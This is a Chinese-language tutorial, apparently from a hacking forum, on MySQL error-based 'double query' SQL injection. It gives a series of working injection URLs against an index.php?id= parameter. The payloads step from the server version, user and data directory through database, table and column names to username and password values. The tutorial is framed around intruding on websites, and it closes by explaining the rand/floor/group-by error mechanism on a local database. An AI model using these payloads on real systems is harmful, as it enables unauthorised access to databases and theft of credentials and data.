介紹一下雙查詢注入,有時候我們通過order by 語句獲取到了確定的列數,可是當我們使用union select或union select all查詢的時候,
f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--
卻會出現一個錯誤提示,列數不一致。
Different Number of Columns
而我們使用下面的語句:
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
執行之後就會顯示mysql版本,用戶名,服務器名, 以及數據目錄…
獲取數據庫裡
許多人會在上面的語句裡使用:database()方法來獲取數據庫,
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
可是。這個方法只能獲取一個數據庫。如果你入侵的網站存在多個數據庫。上面這個查詢就不能用了因此使用下面這個方法更好些。。
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
不同點在於第二個查詢語句在information_schema.schemata裡查詢 schema_name ,這樣就能查到所有的數據庫了。
注意語句中的Limit 0,1會顯示地一個數據庫,改成 Limit 1,1 會顯示第二個 Limit 2,1 會顯示第三個, Limit 3,1 會顯示第四個。。以此類推。
補充個:
在普通的SQL注入中,使用如下的語句
f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--
會一次爆出所有的數據庫
而使用下面的
f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--
只會顯示當前站點使用的數據庫。
獲取表名
回正題,我們繼續使用雙查詢來獲取數據庫的表:
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
注意語句中的table_schema=0xHEX 這裡的hex用你要查詢的數據庫進行hex編碼後替換即可。
同樣的,這裡可以要修改LIMIT後面的值來得到第二個第三個第四個表。
獲取列名
然後我們來獲取列名:
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x"HEXDATABASE" AND table_name=0x"HEXTABLENAME" LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
和上一句很像,注意這一句”And table_name=0xHEXEDTABLENAME”
還是一樣的。後面的部分是要查詢的表名的hex值,同時,通過增加後面的LIMIT值來獲取更多的列名。下面是大家最感興趣的地方。。從列裡面取值。
獲取列值
一些人使用:
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast("tablename"."columnname" as char),0x27,0x7e) FROM "databasename"."tablename" LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
也就是他們使用tablename.columnname
有個缺點就是一次只能獲取一個列的值,要是該表有個1000多列啥的。。一個個就了。。為了更快一些。後來很多人開始使用這個:
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select concat(username,0x7e,pass,0x7e7e) from "table" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
這樣一次就能獲取多個列的值了,但是還有個bug,因為是直接從mysql的所有表裡面找,並且沒有指定數據庫名,如果mysql有兩個數據庫有同樣的一個表名。那麼這樣找出來的就不知道到底是哪個了。。就混亂了。。所以。現在我們用這個:
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from database.table limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
好處一個是可以一次獲取多個列的值,同時使用 database.table, 可以明確我們要找的表了。不要忘了增加LIMIT來獲取下一條記錄啊
在此之前,我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在一個select語句裡還有一個select。裡面的這個select語句就是子查詢。
看一個簡單的例子:
Select concat((select database()));
真正執行的時候,先從子查詢進行。因此執行select database() 這個語句就會把當前的數據庫查出來,然後把結果傳入到concat函數。這個函數是用來連接的。比如 concat(‘a’,’b’)那結果就是ab了。
原理:
雙注入查詢需要理解四個函數/語句
1. Rand() //隨機函數
2. Floor() //取整函數
3. Count() //匯總函數
4. Group by clause //分組語句
簡單的一句話原理就是有研究人員發現,當在一個聚合函數,比如count函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。
以本地一個名為Security的數據庫為例
首先在bt5下的命令行下輸入
mysql -u root –p toor
就會連接上數據庫了。
然後通過use security; 就可以切換到security數據庫了。因為一個服務器上可能有多個數據庫嘛。
然後我們執行一下前面那個簡單的子查詢的例子
SELECT concat((select database()));
就能顯示security,也就是顯示了當前數據庫的名字了。
然後我們測試一下concat的用法。輸入
SELECT concat('string1','string2');
顯然結果就是string1string2了
然後我們測試一下rand()這個隨機函數是干嘛的
Select rand();
我們多執行幾次
可以看到,這個函數就是返回大於0,小於1之間的數
然後看看取整函數
Select floor(1.1123456);
[![](/images/4477acaba79cf1464c028cab96e32534d81af2e5.png)](http://leaverimage.b0.upaiyun.com/33520_o.png) 這個函數就是返回小於等於你輸入的數的整數。 然後我們看看雙注入查詢中的一個簡單組合。大家從我的上一篇文章中應該也看到了有一個子查詢是
SELECT floor(rand()*2);
我們從裡向外看。rand() 返回大於0小於1的小數,乘以2之後就成了小於0小於2了。然後對結果進行取證。就只能是0或1了。也就是這個查詢的結果不是1,就是0
我們稍微加大一點難度。看這個查詢
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
不要怕。先看最裡面的SELECT database() 這個就返回數據庫名,這裡就是security了。然後FLOOR(RAND()*2)這個上面說過了。不是0,就是1.然後把這兩個的結果進行 concat連接,那麼結果不是security0就是security1了。
如果我們把這條語句後面加上from 一個表名。那麼一般會返回security0或security1的一個集合。數目是由表本身有幾條結果決定的。比如一個管理表裡有5個管理員。這個就會返回五條記錄,這裡users表裡有13個用戶,所以返回了13條
如果是從information_schema.schemata裡,這個表裡包含了mysql的所有數據庫名。這裡本機有三個數據庫。所以會返回三個結果
現在我們准備加上Group By 語句了。
我們使用information_schema.tables 或 information_schema.columns者兩個表來查詢。因為表裡面一般數據很多。容易生成很多的隨機值,不至於全部是security0,這樣就不能查詢出結果了。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
這裡我先解釋一下。我們把concat((select database()), floor(rand()*2)) 這個結果取了一個別名 a ,然後使用他進行分組。這樣相同的security0分到一組,security1分到一組。就剩下兩個結果了。
注意。這裡的database()可以替換成任何你想查的函數,比如version(), user(), datadir()或者其他的查詢。比如查表啊。查列啊。原理都是一樣的。
最後的亮點來了。。
我們輸入這條:注意多了一個聚合函數count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
[![](/images/03af307809c7bcdfd4f77d3551d39e1d7fa7e515.png)](http://leaverimage.b0.upaiyun.com/33525_o.png) 報錯了
ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’
重復的鍵值 可以看到security就是我們的查詢結果了
想要查詢版本就這樣:
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
看看替換了database()為version()
再看一個
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
報錯
ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'
這裡的~這個符號只是為了讓結果更清晰。
這裡還有一個比較復雜的。叫做派生表。需要使用
select 1 from (table name); 這樣的語法來報錯,具體就是
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
來報錯。